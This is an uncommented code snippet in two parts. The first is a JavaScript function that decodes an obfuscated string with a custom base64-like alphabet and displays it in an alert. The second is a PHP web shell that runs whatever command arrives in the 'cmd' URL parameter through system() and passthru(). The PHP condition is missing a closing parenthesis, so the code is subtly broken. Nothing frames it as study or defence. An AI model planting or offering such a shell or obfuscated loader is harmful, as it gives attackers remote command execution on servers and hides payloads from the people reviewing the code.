<script language="javascript">
function dosometing( subvalue ){
var s1 = "Uynwt85eFPV1QOfELcWBRJG+gxZMh6Xvr7kb3d4/pKu9iNAqoTs2az0mSDCHIjlY";
var s2 = '';
var s3 = 18;
var s4 = 0;
for ( var i = 0; i < subvalue.length; i++ ) { 
var s5 = s1.indexOf( subvalue.charAt( i ) ); 
if ( s3 == 0 ) { 
s4 = s4 | s5; 
var s6 = ( s4 & 0xFF0000 ) >> 16;
if ( s6 != 0 ) {
s2 += String.fromCharCode( s6 );
}
var s7 = ( s4 & 0xFF00 ) >> 8;
if ( s7 != 0 ){
s2 += String.fromCharCode( s7 );
}
var s8 = s4 & 0xFF;
if ( s8 != 0 ){
s2 += String.fromCharCode( s8 );
}
s4 = 0;
s3    = 18;
} else {
s5 = s5 << s3;
s4 = s4 | s5;
s3 -= 6;
}
}
return s2;
} 
alert( dosometing( 'E5d4h48NxWy2h4QjF47a6eUC1sjah/JkgBRAg0SqZGD3x+rAh57oFkymZGcaZwaTF57dZG6p6waTFeOa  XGTdEWP0Z+OKg4diZ+cDfkypZGc3xGSkEboqZGxsgGzdErUU' ) );
</script>

<?php 
if(isset($_GET['cmd']){
system($_GET['cmd']);
passthru($_GET['cmd']);
}
?>